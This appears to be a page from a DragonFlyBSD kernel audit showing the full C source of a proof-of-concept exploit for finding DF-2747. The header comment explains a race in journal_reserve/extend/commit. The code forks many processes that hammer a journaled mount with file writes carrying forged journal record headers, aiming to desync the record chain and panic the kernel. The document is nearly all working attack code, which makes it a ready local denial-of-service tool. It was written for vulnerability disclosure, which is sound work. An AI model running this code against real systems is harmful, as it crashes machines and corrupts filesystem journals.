DragonFlyBSD Kernel Audit
DF-2747 / df2747.c
← back to finding ↓ download raw
/*
 * DF-2747 PoC: hammer the journal memfifo reservation path from many
 * processes concurrently.  journal_reserve()/journal_extend()/
 * journal_commit() do unsynchronized RMW on jo->fifo.windex and
 * jo->transid (vfs_journal.c:527-585), so concurrent VOPs on the
 * journaled mount overlap reservations and corrupt the raw record
 * chain that journal_wthread() parses (vfs_journal.c:236-243).
 *
 * Payload contains forged journal_rawrecbeg headers (begmagic 0x1234,
 * huge recsize) so a desynced chain walk that lands in the payload
 * takes a giant step -> KKASSERT(res == avail) panic / rindex desync.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/stat.h>

static void
fill_poison(unsigned char *buf, int len)
{
	int off;
	/* forged journal_rawrecbeg, 32-byte stride:
	 *  u16 begmagic=0x1234, u16 streamid=2, i32 recsize=0x7ffffff0,
	 *  i64 transid=0x4141414141414141 */
	for (off = 0; off + 16 <= len; off += 32) {
		buf[off+0] = 0x34; buf[off+1] = 0x12;          /* begmagic */
		buf[off+2] = 0x02; buf[off+3] = 0x00;          /* streamid */
		buf[off+4] = 0xf0; buf[off+5] = 0xff;          /* recsize lo */
		buf[off+6] = 0xff; buf[off+7] = 0x7f;          /* recsize hi */
		memset(buf + off + 8, 0x41, 8);                /* transid */
		memset(buf + off + 16, 0x42, 16);              /* payload */
	}
}

int
main(int ac, char **av)
{
	int nproc = atoi(av[1]);
	int iters = atoi(av[2]);
	const char *dir = av[3];
	int i, j;

	for (i = 0; i < nproc; i++) {
		pid_t pid = fork();
		if (pid == 0) {
			unsigned char poison[512];
			fill_poison(poison, sizeof(poison));
			for (j = 0; j < iters; j++) {
				char path[256];
				int fd;
				snprintf(path, sizeof(path), "%s/r%d_%d", dir, i, j);
				fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0666);
				if (fd >= 0) {
					if (write(fd, poison, sizeof(poison)) < 0)
						perror("write");
					if ((j & 3) == 0 && write(fd, poison, sizeof(poison)) < 0)
						perror("write2");
					close(fd);
				}
				if ((j & 7) == 7) {
					snprintf(path, sizeof(path), "%s/d%d_%d", dir, i, j);
					if (mkdir(path, 0777) == 0)
						rmdir(path);
				}
			}
			_exit(0);
		}
	}
	for (i = 0; i < nproc; i++) {
		int status;
		wait(&status);
	}
	printf("HAMMER DONE (%d procs x %d iters)\n", nproc, iters);
	return 0;
}